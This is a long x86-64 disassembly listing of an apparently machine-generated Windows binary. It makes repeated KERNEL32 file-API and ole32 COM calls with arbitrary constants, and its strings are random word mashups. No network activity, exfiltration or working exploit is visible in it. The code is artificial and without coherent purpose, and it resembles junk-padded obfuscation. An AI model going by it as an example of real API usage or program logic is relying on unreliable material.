mov ecx, dword [rsp + 0x34cc]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x3444]
mov edx, dword [rsp + 0x343c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14000c301
lea rax, [rsp + 0x35c0]
mov qword [rsp + 0xb028], rax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3628], eax
mov rax, qword [rsp + 0xaeb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0xafa0]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14000c2ad
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3674], eax
lea rdx, [rsp + 0x3580]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x357c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.icecold_sophisticationPrecociousnessMaximExpectancy
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb030], rax
mov rax, qword [rsp + 0xaf40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xafa8]
mov qword [rsp + 0xb038], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb038]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x35ec]
mov ecx, dword [rsp + 0x34cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
jmp 0x14000c2ff
mov rax, qword [rsp + 0xae68]
mov rcx, qword [rsp + 0xa4c8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xac80]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x14000c2ff
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xa4c8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xac80], rax
jmp 0x14000c324
mov rax, qword [rsp + 0xaf68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov word [rcx], ax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3654], eax
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb8], ax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x153]
and eax, ecx
mov rcx, qword [rsp + 0xaf90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [0x1402112c0], al
mov edx, 0x2d70dc
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3550], eax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xa4c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae78]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xade8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x236c
mov r9d, 0x1a8e
mov r8d, 0x15a8
mov edx, 0x3c63
mov rcx, qword [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x358c], eax
lea rdx, [rsp + 0x3594]
mov rcx, qword [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3678], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [section..data]
sar eax, cl
mov word [rsp + 0xeb0], ax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeac]
xor eax, ecx
mov word [rsp + 0xebc], ax
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x143]
shl eax, cl
mov byte [rsp + 0x156], al
mov edx, 0x21d01
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x152], al
mov eax, dword [rsp + 0x352c]
add eax, 0x46
mov dword [rsp + 0x352c], eax
movsx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xeed1
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3580], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xae58]
mov rcx, qword [rsp + 0xae78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae10]
mov ecx, dword [rsp + 0x34b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x364c], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov rcx, qword [rsp + 0xaf88]
mov word [rcx], ax
movzx eax, word [rsp + 0xebc]
movzx ecx, word [rsp + 0xeac]
and eax, ecx
mov word [rsp + 0xeb8], ax
mov edx, 0x152fee
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x367c], eax
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [rsp + 0x154]
sub eax, ecx
mov byte [rsp + 0x156], al
lea rdx, [rsp + 0xadf8]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3654], eax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [0x140210002]
add eax, ecx
mov byte [rsp + 0x153], al
lea rdx, [rsp + 0x3638]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3660], eax
movsx eax, word [rsp + 0xda0]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb4], ax
mov eax, dword [rsp + 0x3450]
movzx ecx, al
mov eax, dword [rsp + 0x3444]
shr eax, cl
mov dword [0x140210004], eax
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3680], eax
mov eax, dword [rsp + 0x364c]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0xb040], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb028]
mov dword [rcx], eax
lea rdx, [rsp + 0xacd0]
mov rcx, qword [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3460], eax
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3678], eax
lea rdx, [rsp + 0x3684]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3664], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xaf70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xae68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov r9d, 1
lea r8, [rsp + 0xacd0]
mov rdx, qword [rsp + 0xacd0]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3460], eax
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xae98]
mov byte [rcx], al
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
movsx eax, byte [0x1402112c0]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3634], eax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
mov byte [rsp + 0x150], al
mov qword [rsp + 0x20], 0
mov r9d, 0x11e0
mov r8d, 0x1c6
mov edx, 0x12
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x35f4], eax
mov edx, 0x19b780
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3688], eax
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x343c]
sub ecx, eax
mov eax, ecx
mov dword [0x140210004], eax
mov rax, qword [rsp + 0xae10]
mov ecx, dword [rsp + 0x364c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x35c0], eax
mov rax, qword [rsp + 0xae68]
mov rcx, qword [rsp + 0xa4c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xaf70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xace0], rax
cmp dword [rsp + 0x352c], 0xfa4d
jb 0x14000c376
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x153]
sar eax, cl
mov byte [rsp + 0x157], al
cmp dword [rsp + 0x34d8], 0x6b6a
ja 0x14000ce3c
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x354c], eax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x346c], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb4]
xor eax, ecx
mov word [rsp + 0xda0], ax
mov eax, dword [rsp + 0x34d8]
add eax, 0x7b
mov dword [rsp + 0x34d8], eax
mov dword [rsp + 0x20], 0xcb4
mov r9d, 0x3bf7
mov r8d, 0xab4
mov edx, 0x16b5
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x35fc], eax
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x143], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4fb9
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x368c], eax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
or eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [0x1402112c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xae68], rax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x35f4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1f06
mov r8d, 0x3bd
mov edx, 0xff
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x3544], eax
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x35ec], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb4], ax
mov r9d, 1
lea r8, [rsp + 0xaed8]
mov rdx, qword [rsp + 0xadd8]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3590], eax
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3690], eax
xor r9d, r9d
lea r8, [rsp + 0xacc8]
mov rdx, qword [rsp + 0xacd0]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3584], eax
mov edx, 0x48009b
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3654], eax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3500], eax
mov dword [rsp + 0x20], 0x236c
mov r9d, 0x1a8e
mov r8d, 0x15a8
mov edx, 0x3c63
mov rcx, qword [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x3694], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x156]
add eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
add eax, ecx
mov word [rsp + 0xeac], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
and eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xace0]
shl rax, cl
mov rcx, qword [rsp + 0xafa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x343c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x35ec], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0xae28]
mov rdx, qword [rsp + 0xaea8]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x361c], eax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x367c], eax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xafc0]
movsx eax, word [rax]
mov rcx, qword [0x1402112c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0xaf30]
mov rdx, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x354c], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x154]
movsx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xae58]
mov ecx, dword [rsp + 0x35ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae58]
mov dword [rcx], eax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0xafa0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
jmp 0x14000c979
mov eax, dword [rsp + 0x35c0]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3534]
mov edx, dword [rsp + 0x34b8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14000cfff
mov edx, 0x75d2b0
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3690], eax
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaeb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaec0]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14000cf99
mov rax, qword [rsp + 0xaf40]
mov rax, qword [rax]
mov qword [rsp + 0xb050], rax
cmp qword [rsp + 0xb050], 0
je 0x14000cee0
jmp 0x14000cf7a
xor edx, edx
mov rax, qword [rsp + 0xa4c8]
div qword [rsp + 0xae68]
mov qword [rsp + 0xac80], rax
mov eax, dword [rsp + 0x3534]
mov dword [rsp + 0x3698], eax
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
or eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov word [rcx], ax
movzx eax, byte [0x1402112c0]
mov byte [rsp + 0x158], al
mov dword [rsp + 0x369c], 0x1139a
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaf90]
mov byte [rcx], al
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x36a0], eax
jmp 0x14000cf97
lea r8, [rsp + 0x26dd8]
mov dx, 0x52
mov cx, 0x87
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x35d8], eax
jmp 0x14000cffd
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
mov dword [rsp + 0x36a4], ecx
mov rdx, qword [rsp + 0xaf90]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x36a4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000cffd
mov rax, qword [rsp + 0xaeb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xda0], ax
jmp 0x14000d04d
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
movsx ecx, word [rsp + 0xda0]
movsx edx, word [rsp + 0xeb0]
sub ecx, edx
cmp eax, ecx
jle 0x14000d04d
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
call fcn.1401d96b0
nop
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
and eax, ecx
movzx ecx, byte [rsp + 0x152]
mov rdx, qword [rsp + 0xad50]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x1401d8542
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
mov dword [rsp + 0x36a8], eax
cmp dword [rsp + 0x36a8], 0
je 0x14000d0b1
cmp dword [rsp + 0x36a8], 0x601e
je 0x1401d8410
jmp 0x1401d8454
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0xadd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xafa8]
mov rdx, qword [rsp + 0xade8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jge 0x1401d82b5
mov rax, qword [rsp + 0xacd8]
movzx ecx, al
mov rax, qword [rsp + 0xace0]
shl rax, cl
mov rcx, qword [rsp + 0xafa8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaf70]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14000d2ca
lea rax, [rsp + 0xac80]
mov qword [rsp + 0xb058], rax
mov eax, dword [rsp + 0x343c]
mov dword [rsp + 0x36ac], eax
mov rax, qword [rsp + 0xafc0]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xae58]
mov ecx, dword [rsp + 0x35ec]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x34cc]
mov edx, dword [rsp + 0x36ac]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000d2c5
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3698]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae80]
mov rdx, qword [rsp + 0xae10]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x14000d2a4
lea rdx, [rsp + 0xadd8]
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x35ac], eax
lea rax, [rsp + 0xeb8]
mov qword [rsp + 0xb060], rax
mov rax, qword [rsp + 0xafc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.pollutesKilobyteWaked
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb068], rax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
xor eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
mov byte [0x1402112c1], al
jmp 0x14000d2c5
mov rax, qword [rsp + 0xa4c8]
movzx ecx, al
mov rax, qword [rsp + 0xae68]
shr rax, cl
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
jmp 0x14000d350
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [0x1402112c0]
mov rdx, qword [rsp + 0xad90]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14000d350
mov edx, 0x4d
lea rcx, [rsp + 0xaf40]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov qword [rsp + 0xb070], rax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xaf70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaec0], rax
mov rax, qword [rsp + 0xae80]
mov ecx, dword [rsp + 0x34c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
movsx eax, byte [0x1402112c0]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov rcx, qword [rsp + 0xaf00]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x143]
sub ecx, edx
cmp eax, ecx
jge 0x14000d4e9
lea rdx, [rsp + 0x3450]
lea rcx, [rsp + 0x26dc8]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x35f0], eax
mov rax, qword [rsp + 0xafb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
mov eax, dword [0x140210004]
mov dword [rsp + 0x36b0], eax
cmp dword [rsp + 0x36b0], 0x42358c05
je 0x14000d4de
cmp dword [rsp + 0x36b0], 0x691f700c
je 0x14000d3e7
jmp 0x14000d4e4
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb058]
mov rcx, qword [rcx]
imul rcx, qword [rsp + 0xac80]
cmp rax, rcx
jbe 0x14000d492
mov rax, qword [0x1402112c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaf88]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
xor eax, ecx
mov byte [rsp + 0x159], al
lea rdx, [rsp + 0x26de8]
lea rcx, str.Affray_odious_Dynamic_lexicographical_Prostrates
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x36b4], eax
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xeb8], ax
jmp 0x14000d4dc
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x143]
movsx edx, byte [rsp + 0x155]
or ecx, edx
cmp eax, ecx
jne 0x14000d4dc
movsx eax, byte [rsp + 0x155]
movsx ecx, byte [rsp + 0x143]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
jmp 0x14000d4e4
call fcn.1401d9230
nop
jmp 0x14000d606
mov rax, qword [rsp + 0xb028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3534]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae80]
mov rdx, qword [rsp + 0xad98]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x14000d606
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x36b8], al
cmp byte [rsp + 0x36b8], 0x2c
je 0x14000d548
cmp byte [rsp + 0x36b8], 0xf6
je 0x14000d5ea
jmp 0x14000d606
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xafa0]
movsx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xacd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
lea rax, [rsp + 0xb070]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x26dc8]
lea r8, [rsp + 0x34b0]
mov edx, 0x4d
lea rcx, [rsp + 0x26df8]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x36bc], eax
mov rax, qword [rsp + 0xaed0]
